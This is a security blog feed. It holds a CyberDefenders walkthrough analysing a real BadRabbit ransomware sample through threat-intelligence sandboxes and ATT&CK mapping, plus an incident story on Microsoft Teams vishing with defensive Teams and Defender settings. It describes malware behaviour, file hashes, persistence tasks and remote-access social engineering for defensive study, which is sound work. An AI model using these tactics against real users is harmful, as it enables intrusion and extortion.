This lab ended up being a good reminder of just how much signal exists in event logging if you take the time to really understand how domain authentication works. Kerberos isn’t new, and Kerberoasting isn’t either, but walking through the mechanics step by step makes it clear why weak service account hygiene still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.

What I appreciated most about this challenge is that there wasn’t a single log or artifact that magically answered everything. Instead, we had to move between Domain Controller security logs, PowerShell operational telemetry, and workstation artifacts like Prefetch. Each source gave us part of the picture, but none of them stood on their own. Correlation is key.

Leveraging MITRE ATT&CK as a reference point also paid off here. Rather than hunting randomly, it helped home in on what to look for, why certain events were important, and how those signals might translate into detections later on. This is the kind of challenge that quietly reinforces how ATT&CK can guide both investigations and detection engineering without forcing the analysis into a rigid mold. Awesome stuff.

Remember, cybersecurity is a team sport, and we’re in this together.

Until next week’s challenge, stay curious and be safe out there.

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock

Flare-VM: https://github.com/mandiant/flare-vm

MITRE ATT&CK — Steal or Forge Kerberos Tickets: Kerberoasting(T1558.003): https://attack.mitre.org/techniques/T1558/003/

Microsoft — “Microsoft’s guidance to help mitigate Kerberoasting”: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/

Event Log Explorer: https://eventlogxp.com/

MITRE ATT&CK — Software — PowerSploit (S0194): https://attack.mitre.org/software/S0194/

Magnet Forensics Blog — “Forensic Analysis of Prefetch files in Windows”: https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

MITRE ATT&CK — Software — Rubeus (S1071): https://attack.mitre.org/software/S1071/

CyberDefenders — BRabbit Lab Walkthrough

Sun, 03 May 2026 00:00:00 +0000

CyberDefenders: BRabbit Lab Walkthrough

BadRabbit Ransomware Analysis: Correlating Threat Intelligence, Sandbox Reports, and ATT&CK Mapping

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this post while looking for a detailed guide to the BRabbit blue team lab from CyberDefenders, you’re in the right place. This one drops us straight into incident response mode, where a single convincing phishing email turns into a full-blown ransomware outbreak.

In this scenario, we’re assisting a fictional organization that fell victim to ransomware after an employee opened what appeared to be a routine email from their boss. Familiar logo, familiar email address, and a seemingly harmless attachment. After opening it, the system is compromised, sensitive files are encrypted, and the victim can no longer boot. Yikes.

On paper, the mission is simple. Identify the malware, understand its behavior, learn how it persists, how it communicates, how it damages the system, and where it might have come from. In practice, it’s a lot messier. The twist here is that we’re not always taking the fastest route to the answer. Instead, I intentionally stayed within the constraints of threat intelligence platforms and public sandbox reports.

That means leaning heavily on tools like CyberChef, VirusTotal, Recorded Future Tria.ge, Any.Run, and Malpedia. This isn’t always the most efficient path, but it’s a very realistic one. In real investigations, you’re often correlating CTI, validating what others have already observed, and deciding how much confidence to place in the evidence available, rather than reverse engineering everything from scratch.

As we work through the questions, we’ll bounce between email analysis, file metadata, behavioral reports, ATT&CK mappings, and attribution, sometimes revisiting the same artifacts from different angles. That repetition is intentional. The goal isn’t just to answer the questions, but to introduce different tools, show how they complement each other, and model an investigation workflow that values context over speed.

Thanks for reading and going on this investigation with me. Let’s go!

Challenge Scenario:

You are an investigator assigned to assist Drumbo, a company that recently fell victim to a ransomware attack. The attack began when an employee received an email that appeared to be from the boss. It featured the company’s logo and a familiar email address. Believing the email was legitimate, the employee opened the attachment, which compromised the system and deployed ransomware, encrypting sensitive files. Your task is to investigate and analyze the artifacts to uncover information about the attacker.

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

To keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

What is the suspicious email address that sent the attachment?

Let’s get to it. Our first step is to extract the attachment named Urget Contract Action.zip, which leaves us with our primary artifact, Urget Contract Action.eml.

Overview of the Challenge File

Before opening anything further, you might notice a warning.txt file included with the challenge. This one is important. It explains that we’ll be interacting with real malware samples, so if you skipped the “Setup the Analysis Environment"section, take a moment to pause here and make sure you’re working in a safe, isolated environment and understand the warning issued by the challenge.

Heed the warning

The first thing we need to do is a basic email header analysis. There are a lot of ways to approach this using dedicated mailbox or header analysis tools, but for this writeup, we’ll take a slightly different route and lean on CyberChef. That gives us the flexibility to handle both header analysis and file extraction in one place.

You can use either the online or offline version of CyberChef. With either option, the approach is the same. Drop Urget Contract Action.eml directly into the input window.

To answer Question 1 and identify indicators of social engineering, we can apply the “Extract email addresses” operation to our recipe. This quickly pulls out all email addresses present in the message headers and body, saving us from manually digging through raw header text.

And almost immediately, something stands out.

CyberChef: Identifying the suspicious sender address

Instead of coming from Drumbo’s legitimate domain, the sender address uses a fun typo. The domain reads “drurnbo” instead of Drumbo. This kind of typo squatting is a common social engineering tactic, relying on how easily “rn” can visually blend in to look like “m” at a glance. The attacker also leveraged the CEO’s name, adding urgency and legitimacy to the message and increasing the likelihood that the recipient would trust the attachment and open it…which worked!

Question 2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies.

What is the family name of the ransomware identified during the investigation?

Next, we need to extract the attachment from the phishing email so we can begin some initial analysis. While it would be much easier to simply open the .eml file in an email client, we can also extract the attachment directly using CyberChef and keep everything inside our current workflow.

To do this, scroll down and identify the section of the email labeled:

Content-Disposition: attachment; filename=“Urgent Contract Action.pdf.exe”

Just below that header, you’ll see a long Base64-encoded blob. That blob is the attachment itself, named Urgent Contract Action.pdf.exe. The filename alone is already doing some social engineering. The double extension strongly suggests an executable file attempting to masquerade as a harmless PDF.

CyberChef: Identifying the attachment as Base64

Keep in mind that the blob is much longer than what’s visible in the screenshot. Make sure to copy the entire Base64 string and then paste it into a new input window within CyberChef.

CyberChef: Decoding and extracting the attachment

Once pasted in, add the “From Base64"and “Extract Files” operations to the recipe. This allows us to reconstruct the original attachment directly from the email content. In this challenge, the extracted file appears as extracted_at_0x0.exe. Go ahead and save that file.

The next step is to grab the SHA-256 hash of the extracted executable. This hash is critical because it gives us a fingerprint that can be used to search threat intelligence platforms for known malware samples.

On a Linux system, we can generate the hash using the following command:

sha256sum extracted_at_0x0.exe

Calculating the SHA256 hash of the ransomware binary

Which produces:

630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da

With the file hash in hand, it’s time to pivot into external threat intelligence. Copy the hash and submit it to VirusTotal. This sample has been observed before and is flagged as malicious by multiple vendors.

What we care about most for Question 2, though, is the malware family classification: BadRabbit.

VirusTotal: Identifying the ransomware family

Now that we’ve confirmed the malware family, we can start digging into its behavior and better understand what we’re dealing with.

Question 3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process.

What is the name of the first file dropped by the ransomware?

To begin answering Question 3, there’s a good lesson worth calling out. When gathering cyber threat intelligence, you often need to consult multiple sources to paint a complete picture. No single platform tells the whole story. That’s exactly what we’re going to do next.

Let’s take a brief detour away from VirusTotal and highlight another excellent malware analysis and threat intelligence resource: Recorded Future Tria.ge. While much of this behavioral detail is technically available in VirusTotal, it’s easier to visualize and explain using Tria.ge’s sandbox reporting.

Navigate to the Reports tab and submit the BadRabbit hash we collected earlier.

Heads-up, you’ll likely see several results. Go ahead and select a report that matches the same filename as our extracted sample. I’ve linked the exact report I used below to keep things consistent.

badrabbit | 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da | Triage _Check this badrabbit report malware sample 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, with a…_tria.ge

Once inside the report, click Tasks and then select behavioral1. From there, scroll down to the Processes section.

Tria.ge: Behavioral report > Processes snippet

This is where things get interesting. The behavioral analysis shows that shortly after execution, the ransomware binary launches rundll32.exe. That process is then used to drop a file named infpub.dat onto the system.

This answers Question 3 for us. The first file dropped by the ransomware during execution is infpub.dat. More importantly, this gives us our next breadcrumb.

Question 4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration.

What is the only person’s username found within the dropped file?

Now that we’ve confirmed the name of the dropped file, let’s jump back over to VirusTotal and look at the dropped files view for the original BadRabbit hash we identified in Question 2. The goal here is to change perspective. By pivoting back to VirusTotal, we can dig deeper into infpub.dat using threat intelligence that complements what we already saw in Recorded Future Tria.ge.

Navigate to the Relations tab and then select Dropped Files. This view is a bit less structured than what we saw in Tria.ge, but with a little digging, we can locate infpub.dat and click into it to start answering Question 4.

VirusTotal: Identifying the hash of infpub.dat

579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

Once on the VirusTotal page for infpub.dat, we get several analysis options. Before jumping straight into our own static analysis, it’s worth seeing what the community and external researchers have already uncovered.

Head over to the Community tab. This section often contains links to malware write-ups, analyst notes, or external research that can save us time and help validate our assumptions.

VirusTotal: Finding external reporting through the community comments

In this case, there’s a particularly helpful link to an analysis published on ESET’s WeLiveSecurity blog. The report provides key insight into BadRabbit’s internal artifacts and behavior, including the use of embedded credentials.

Bad Rabbit: Not-Petya is back with improved ransomware _A new ransomware outbreak today has hit some major infrastructure in Ukraine including Kiev metro. Here are some…_www.welivesecurity.com

" # "

Mimikatz is launched on the compromised computer to harvest credentials. A hardcoded list of usernames and passwords is also present.”

Reviewing the reported credential data, we see several system or service-related account names. However, one username stands out. Unlike generic entries such as guest, administrator, or service-style accounts, there is a single, clearly human username embedded in the file: alex.

That makes alex the only person’s username found within the dropped file, and the answer to Question 4.

Identifying the username through the ESET report

Question 5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation.

What MITRE ATT&CK sub-technique describes the ransomware’s use of web protocols for sending and receiving data?

After execution, the ransomware needs a way to communicate with its command-and-control infrastructure. Understanding how it sends and receives data is important, because these techniques often inform both detection and mitigation strategies.

Since we already have the hash for infpub.dat from Question 4, we can pivot to another useful tool to help with this analysis: Any.Run. This interactive sandbox is especially helpful for visualizing network behavior, rather than stumbling through static reports.

Navigate to the Any.Run reports section and search for the hash associated with the dropped file. From the available results, select one of the public analysis runs. For example, the report below matches the same sample and provides clear network data:

Analysis infpub.exe (MD5: 1D724F95C61F1055F0D02C2154BBCCD3) Malicious activity — Interactive… _Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no…_app.any.run

Once inside the report, turn your attention to the Network Threats tab in the bottom pane. Scroll through the color-coded rows until you reach entries marked as “potentially bad traffic.“This is where things click. The report highlights WebDAV traffic associated with infpub.dat, showing it being used to send and receive data over the network. WebDAV blends into normal-looking web traffic, which makes it attractive for malware trying to avoid detection.

Any.Run: Identifying potentially malicious WebDAV traffic

This behavior maps to the MITRE ATT&CK sub-technique Application Layer Protocol: Web Protocols (T1071.001). This technique describes adversaries communicating over common web-based application protocols in order to blend in with legitimate network activity.

Application Layer Protocol: Web Protocols _Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network…_attack.mitre.org

That gives us the answer to Question 5. The ransomware’s command-and-control traffic is best described by T1071.001: Application Layer Protocol: Web Protocols.

Question 6: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection.

What is the MITRE ATT&CK Sub-Technique ID associated with the ransomware’s persistence technique?

Moving right along, we now need to determine how the ransomware maintains persistence on the compromised system. Continuing our pattern of pivoting between tools, let’s revisit the Recorded Future Tria.ge report for the original BadRabbit sample and take another look at the process tree.

After execution and the dropping of infpub.dat, we see a familiar sequence unfold. The malware spawns cmd.exe, which in turn launches schtasks.exe. This is the built-in Windows command-line utility used to create or modify scheduled tasks.

Tria.ge: highlighting scheduled task creation for persistence

That sequence is a strong indicator of a classic persistence mechanism. By creating a scheduled task, the malware ensures it can re-execute automatically, often on a timer or at system startup, without requiring user interaction.

This behavior is documented in MITRE ATT&CK as the sub-technique Scheduled Task/Job: Scheduled Task (T1053.005). With that, we’ve answered Question 6.

Scheduled Task/Job: Scheduled Task _Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of…_attack.mitre.org

Question 7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution?

Now that we’ve confirmed that T1053.005 (Scheduled Task) was used as the persistence mechanism, the next step is to determine the names of the scheduled tasks created by the ransomware. This detail matters, because knowing exactly what to look for can significantly speed up system restoration and cleanup.

Luckily for us, this information is available in the same Recorded Future Tria.ge process tree we used back in Question 6.

Tria.ge: Identifying the names of the scheduled tasks created by the ransomware

Focusing on the process command-line arguments, we can clearly see both task creation and deletion events involving schtasks.exe. The key field to look for is the /TN argument, which specifies the task name being created or removed.

Looking closely at these entries, two task names jump out. During execution, BadRabbit creates scheduled tasks named Rhaegal and Drogon.

For anyone familiar with Game of Thrones, these names might ring a bell. While the references are fun, they also make these tasks easier to spot during incident response, assuming you know what you’re looking for.

With that, we’ve answered Question 7. The ransomware creates scheduled tasks named Rhaegal and Drogon to maintain persistence.

Question 8: the malicious binary `dispci.exe` displayed a suspicious message upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware’s full execution. What suspicious message was displayed in the Console upon executing this binary?

The next step in our analysis is to identify the console message displayed after executing another related malicious binary, dispci.exe. We see this file referenced in the Recorded Future Tria.ge report, but at this stage, we don’t yet have much detail on what it actually does.

Tria.ge: Identifying the process execution of dispci.exe

To gather more context, let’s pivot back to VirusTotal and look at the original BadRabbit sample. Under Relations → Dropped Files, we can locate dispci.exe and identify its file hash:

0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f

VirusTotal: Identifying the file hash of dispci.exe

With the hash in hand, we have a few options. We could download the binary from a malware repository for hands-on static analysis, move over to an interactive sandbox, or continue leaning on existing threat intelligence reporting.

For this writeup, we’ll stick with VirusTotal and see what’s already available.

Navigate to the Behaviors tab for dispci.exe. From there, select the Zenbox full sandbox report. One of the more useful features of this report is that it captures screenshots of the malware during execution, which can reveal user-facing behavior we might otherwise miss.

VirusTotal: Opening the Zenbox sandbox report

To illustrate this, select the Zenbox report and scroll down to the Screenshots section at the bottom of the report.

Zenbox: Reviewing execution screenshots

This gives us exactly what we need to answer Question 8. Upon execution, dispci.exe displays the following message in the console:

“Disable your anti-virus and anti-malware programs.“This prompt is another attempt at defense evasion through social engineering. By urging the victim to weaken or disable their security controls, the malware improves its chances of executing fully without being hindered by security tools.

Question 9: To modify the Master Boot Record (MBR) and encrypt the victim’s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism.

What is the name of the driver used to encrypt the hard drive and modify the MBR?

To answer Question 9, we need to identify the specific driver used by the ransomware to encrypt the victim’s hard drive and modify the Master Boot Record. This driver is a critical part of the encryption chain, because it explains how the ransomware is able to operate at a low level on the system.

To get there, exit the Behaviors tab and navigate to the Details page for dispci.exe in VirusTotal. This view exposes metadata about the binary.

Under Signature Info → File Version Information, we see that dispci.exe is associated with DiskCryptor. This attribution is reinforced by the metadata copyright information embedded in the binary, which points back to the DiskCryptor project.

VirusTotal: Looking for driver clues on the behaviors tab

According to the project description, “DiskCryptor is an open encryption solution that offers encryption of all disk partitions, including the system partition.“That tells us exactly what we need for Question 9. The ransomware leverages the DiskCryptor driver to perform full disk encryption and modify the Master Boot Record. With that, we can confidently answer Question 9.

Question 10: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs).

What is the name of the threat actor responsible for this ransomware campaign?

We’re closing in on the end of our analysis, and now it’s time to look beyond tools and techniques and focus on attribution. The question here isn’t about the nitty-gritty details of how the ransomware works anymore, but who is historically tied to this campaign based on shared tactics, techniques, and procedures.

To do that, let’s pivot away from sandboxing platforms and threat execution data and move into a dedicated malware knowledge base: Malpedia.

Malpedia is an excellent resource for tying malware families to known threat actors and for surfacing a ton of great external reporting in one place. From the home page, search for BadRabbit.

Malpedia: Identifying actors associated with Bad Rabbit

EternalPetya (Malware Family) _According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of…_malpedia.caad.fkie.fraunhofer.de

Right away, we can locate the BadRabbit entry, where it’s described as a ransomware family closely related to Petya and NotPetya. This aligns with what we’ve already observed throughout the challenge, especially the disk-level encryption behavior and file hashes.

Scrolling further, Malpedia lists multiple attribution assessments sourced from external intelligence vendors. One threat actor stands out as the most consistently associated with BadRabbit.

Sandworm Team _In October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber…_attack.mitre.org

Sandworm is a well-documented threat group linked to destructive campaigns targeting critical infrastructure and large organizations, and it’s commonly associated with NotPetya and related ransomware operations.

Question 11: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities.

What is the MITRE ATT&CK ID for the technique used to corrupt the system firmware and prevent booting?

Finally, we’ve made it to the last question. Our closing task is to identify the MITRE ATT&CK technique used by the ransomware to render the victim system unbootable.

From Question 9, we know that DiskCryptor was used to encrypt the hard drive and modify the Master Boot Record. From the question, we can infer that that outcome is that on top of the data being encrypted, the system is left unable to boot normally.

Rather than speculate, let’s check out the MITRE ATT&CK software page for BadRabbit to confirm which Impact technique MITRE themselves associate with this behavior.

Bad Rabbit _Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has…_attack.mitre.org

Looking at the listed techniques, one maps directly to the effect described in the question. Firmware Corruption (T1495) is documented as a technique used to damage critical boot components in order to prevent a system from starting.

MITRE ATT&CK: Identifying Bad Rabbit destructive impact techniques

MITRE explicitly lists T1495 as an Impact technique associated with BadRabbit, reflecting the ransomware’s ability to overwrite boot-related disk structures and leave systems unbootable. That gives us our final answer.

With that, we’ve completed the analysis, from initial infection through destructive impact and now we can wrap up our investigation.

Conclusion:

So, how fun was that? A big thank you to CyberDefenders for another awesome challenge.

This lab ended up being a good reminder that there’s rarely a single tool, report, or source of truth that magically answers every question. As much as we’d all like a one-stop solution for threat intelligence, the reality is that investigations often turn into a bit of a research slog. Not because the answers are impossible to find, but because they live across multiple platforms, formats, and perspectives.

I’ll be honest, I expected this challenge to go a bit faster. Instead, it slowed me down in a good way. It forced me to stop, pivot between tools, reframe questions, and validate instead of jumping straight to conclusions. It’s a realistic (if frustrating) experience, mirroring how real investigations go, especially when you’re operating under constraints and relying on publicly available intelligence.

From my perspective, the real value here comes from tying different sources together and being exposed to different tools. Interactive sandboxes like Recorded Future Tria.ge and Any.Run gave us a safe way to observe behavior as it unfolded. Static and reports in VirusTotal helped ground and validate those observations with hashes, relationships, and community context. External reporting and curated knowledge bases like Malpedia added context and attribution that raw analysis alone didn’t show. None of these tools were sufficient on their own, but together they painted a much clearer picture.

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/

REMnux: https://remnux.org/

CyberChef: https://gchq.github.io/CyberChef/

VirusTotal: https://www.virustotal.com/

VirusTotal (Urget Contract Action.pdf.exe) — https://www.virustotal.com/gui/file/630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da

Recorded Future Tria.ge (Urgent Contract Action.pdf.exe): https://tria.ge/251107-yd3m1ahm6v/behavioral1

VirusTotal (infpub.dat) — https://www.virustotal.com/gui/file/579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

VirusTotal (dispci.exe) — https://www.virustotal.com/gui/file/0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f

Welivesecurity by Eset — " # “Bad Rabbit: Not-Petya is back with improved ransomware”: https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

Any.Run (infpub.dat): https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023

Disk Cryptor: https://diskcryptor.org/

Malpedia — EternalPetya: https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya

MITRE ATT&CK — Groups — Sandworm Team (G0034): https://attack.mitre.org/groups/G0034/

MITRE ATT&CK — Software — Bad Rabbit (S0606): https://attack.mitre.org/software/S0606/

MITRE ATT&CK — Firmware Corruption (T1495): https://attack.mitre.org/techniques/T1495/

StumbleSOC Blog Stories — The Teams Call Compromise

Sun, 19 Apr 2026 00:00:00 +0000

StumbleSOC Stories: The Teams Call Compromise

A Tale of Two Adams: Microsoft Teams Vishing and Practical Detection with Microsoft Defender XDR

Photo by appshunter.io on Unsplash

Introduction — A Tale of Two Adams

This week, I’m taking another detour from my usual walkthrough format to try something a little different. This is another entry in my StumbleSOC Stories series, a collection of field notes and real-world anecdotes. It’s essentially my working diary, where I recount interesting incidents with actionable insights and takeaways.

This particular story is adapted from two real incidents separated by about ten months, both involving Microsoft Teams, voice phishing, and a suspiciously helpful individual named Adam. It’s less a tale of deep technical chops and more a reminder of how effective social engineering can be when it shows up in a familiar place, at the wrong time, wearing a friendly display name.

Rather than walk through this as a formal incident response case study, I’m taking more of an inside-out approach. We’ll stumble through what tipped us off, how we scoped what happened, where our controls worked, and, more importantly, where they didn’t. Along the way, I’ll highlight the adjustments the organization made and how small changes in visibility, reporting, and detection made a real difference the second time around.

The goal here isn’t to document a perfect response or to shame a user who did everything “wrong.” It’s to show how quickly trust can be established with ubiquitous, real-time collaboration tools, how easily that trust can be exploited, and how defenders can adapt without cloistering themselves off from tools the business relies on every day.

This is A Tale of Two Adams. Let’s go!

“Hello, this is Adam from your IT Department.”

Back in the summer of 2025, I had my first close encounter with Microsoft Teams voice phishing. I know, fashionably late to the vishing party. Bear with me. A user in an organization I was supporting received a call with the display name “IT Support (Working From Home)”. You can probably guess where this is going.

The security team picked up on this when alerts started popping for strange artifacts blocked by the IPS, but nothing surfaced from the EDR tooling, and there was no report from the user.

After a quick triage, the team pieced together that the user had attempted to open Quick Assist on their work laptop, a preinstalled remote support utility in Windows. That activity was blocked by the EDR network sensor due to a pre-existing URL block indicator. A key detail here is that these informational-level events tend to be pretty noisy in that environment, so they were suppressed and never surfaced in the queue.

From there, we identified that the user had also received a suspicious email containing instructions and a link to download and install another remote support tool, Zoho Assist. Shortly after, there was an attempt to download a ZIP file via curl. That connection attempt is ultimately what the IPS picked up and blocked.

Once this activity was confirmed, we pumped the brakes, isolated the device, and reached out to the user for more context:

“OMG, someone named_ Adam _called me from €˜IT Support (Working From Home) (External)’ and ran something on my computer. After the call I was like… I hope that was legit.” It wasn’t. The user had their suspicions too (maybe the EXTERNAL tag helped) and had already rebooted the device, cutting off the remote access. We mostly just confirmed what they already suspected. The attacker only had access to the device for a few minutes, but in that short window there was already a lot to learn.

Then, almost on cue, as we were discussing the situation, Adam called back to “resolve the connection issues.” Adam seemed like an initial access-type actor, not the man with the plan. He explained that he was totally stumped as to why the commands he ran hadn’t worked (thanks, IPS) and that the issue needed to be escalated. Before that could happen though, he needed to get back on the system to adjust the power-saving settings so it wouldn’t go to sleep. The device, he insisted, had to be left on overnight.

That was the cue to shut down the party, bounce the bad guy, and clean up. While no damage was done, it warranted a hard look at what hadn’t gone well. One immediate outcome was the decision to throw together a detection rule to flag Quick Assist activity so there’d be an early signal if this happened again. It wasn’t elegant, but it got the job done, and it’s an important detail for later.

I’d almost forgotten about this incident until…

10 months later: “Hello, this is (a different) Adam from your IT Department.”

One Friday afternoon, right before a holiday weekend, an unexpected helpdesk ticket came in. A user reported that they’d missed a Microsoft Teams call from a suspicious caller with the display name “HELP DESK.” Then, only about five minutes later, that rarely seen and almost forgotten Quick Assist detection alert from way back in the summer popped on another workstation.

Could it be another Adam?

This time, we were ready.

When the team contacted the user immediately, they explained they had been speaking with a purported internal sysadmin and, wouldn’t you believe it, also named Adam. The timing couldn’t have been better for the attacker. With a holiday weekend looming and the user trying to wrap things up before heading out, New Adam’s call landed at exactly the wrong moment. The user just wanted to be helpful and cross one last thing off their list.

As instructed, the victim tried the classic Windows + Ctrl + Q shortcut to open Quick Assist. Blocked.

New Adam pivoted, instructing them to download another remote management tool, AnyDesk. Also blocked.

At that point, the user recalled that Adam sounded disappointed and abruptly hung up. The effort, it seemed, was now too great.

“After asking for 2 tools he gave up. And he sounded disappointed when they came up the way they did.”

The user headed into their last meeting of the day, not even registering that Adam had just been an attacker trying to gain remote access to their laptop.

Fortunately, the earlier incident had given the team a pretty clear view of the playbook. This time, preventive controls and detection did exactly what they were supposed to do. No access was granted. The lessons from the earlier stumble paid off, turning this into a tidy containment and a perfect teachable moment.

The user genuinely couldn’t believe it. Teams showed Helpdesk, plain as day, and Adam sounded like he wanted to help, right? The thing is, if they’d paused and done even a basic directory search in their Teams client, they would’ve quickly discovered what we already knew. There was no Adam.

A name or picture in Teams doesn’t prove who the caller is, a tone doesn’t prove intent, yet this is exactly how trust gets exploited.

It might seem obvious in hindsight, but vishing can be just as effective as email-based phishing. This isn’t a new tactic, but it remains powerful because, much like classic tech support scams, it preys on implicit trust and urgency. In most organizations, IT is seen as the steward of the device. Users get conditioned to a familiar break-fix rhythm. People want to help, and they want to be helped.

Most security awareness training, including in this case, still focuses heavily on email threats. It’s often so fixated on blockbuster phishing statistics that the idea that something like a Teams voice call could be an entry point doesn’t even cross a user’s mind.

But that’s the job isn’t it? Keep learning. Keep improving. Keep protecting.

So, what’s the point of this story?

The Tech Recs

Let’s talk options. What can we actually do to impose cost on the next would-be Adams and defend against these attacks in an organization that can’t simply wall itself in by blocking Teams calls from untrusted externals altogether?

This is very much a Microsoft-focused perspective, but a lot of the thinking applies more broadly. The goal here isn’t to solve vishing with a single control or to block everything outright. It’s to add friction, make these attacks harder to pull off, noisier, and more likely to stumble before they go anywhere useful.

Much of what follows is grounded in Microsoft’s guidance for protecting Teams through Microsoft Defender for Office 365, which provides a solid baseline. From there, the emphasis shifts to what actually helps in practice and how relatively small changes can turn the tides back in the defender’s favor.

These recommendations pull from Microsoft SecOps documentation, sprinkled in with firsthand observations from incidents like the ones above. I’m intentionally tying together ideas that Microsoft documentation often treats in isolation and shaping them into something more prescriptive and practical.

Security Operations Guide for Teams protection — Microsoft Defender for Office 365 _A prescriptive playbook for SecOps personnel to manage Microsoft Teams protection in Microsoft Defender for Office 365._learn.microsoft.com

If you work in the Microsoft ecosystem, a quick heads-up: some of these capabilities are still in preview, and others evolve quickly as Teams and Defender continue to change. Depending on when you’re reading this, specific features, settings, or behaviors may look a little different.

From here on out, we’ll get concrete.

User-Initiated Reporting of Suspicious Teams Calls or Messages

Remember when I said one of the pitfalls was too much phish-focused training?

The first, and arguably easiest, improvement here, especially in a straight-up Microsoft shop, is empowering users to report more than just email. Suspicious Teams messages and calls should fall into that same muscle memory. And yes, there’s a reasonably frictionless way to do this without forcing users to open a helpdesk ticket. Instead, those reports can flow directly into your incident queue.

Microsoft has clearly put more attention on this threat over the past year and has improved their offerings as a result. As this attack surface continues to grow, it makes sense to lean on your user base and take advantage of what’s probably already been drilled into them ad-nauseam. If users know how to report phishing emails, reporting suspicious Teams activity shouldn’t feel like a new behavior.

User reported settings in Teams - Microsoft Defender for Office 365 _Admins can configure whether users can report malicious messages or calls in Microsoft Teams._learn.microsoft.com

From an admin perspective, this starts in the Teams Admin Center. Depending on whether you’re using the classic policy experience or the newer unified policy pages, the paths look a little different.

For Messages:

Classic: Teams Admin → Messaging → Messaging Policies → Report a security concern
Unified policy page: https://admin.teams.microsoft.com/one-policy/settings/messaging → Report a security concern

For Voice Calls (Preview):

For voice calls, this capability is still in Preview at the time of writing, but it’s worth enabling where available:

Report suspicious Teams Calls — Microsoft Teams _Learn how users can report suspicious or scam calls in Microsoft Teams_learn.microsoft.com

Classic: Teams Admin → Voice → Calling Policies → Report a call
Unified policy page: https://admin.teams.microsoft.com/one-policy/settings/calling → Report a call

Image Credit: https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-in-the-teams-admin-center

Microsoft Defender Portal Enablement

Once reporting is enabled in the Teams Admin Center, there’s a corresponding step on the Defender side. In the Microsoft Defender portal, you’ll want to validate:

Microsoft Defender → Settings → Email & collaboration → User reported settings → Monitor reported items in Microsoft Teams

NOTE: “The value of this setting is meaningful only if reporting is turned on in the Teams admin center as described in the previous section.” Meaning only turn it on if you’ve also enabled reporting in Teams, because it won’t work otherwise.

While you’re in there, it’s also worth jumping down to the Microsoft Teams protection blade and confirming that Zero-hour auto purge (ZAP) for Teams chats and channels is enabled. Specifically, “Protect Teams chats and channels using retroactive content scanning and removal"should be set to On, with appropriate quarantine policies behind it.

Once everything is setup, user-initiated reporting gives you signals very similar to traditional phishing workflows, including alerts like:

Teams message reported by user as security risk
Teams message reported by user as not security risk
Teams call reported by user as a security risk
Teams call reported by user as a not security risk

The most important part, though, isn’t the toggle. It’s making sure this shows up in end-user training. If users don’t know it exists, they can’t use it, and the whole control adds no value.

And if someone does fall for a vishing call? Turn them into a security champion. Let them share what happened with their team. Peer accountability and humility are often far more effective than yet another reminder from IT about “being vigilant.”

Blocking External Contacts

Another obvious, quick win here is blocking the malicious external contact outright. It’s not the most painful control on the pyramid of pain, but it does stop the immediate threat. In both of the incidents above, and based on broader industry reporting, these attackers seem to favor [.]onmicrosoft.com domains, which makes this option particularly useful.

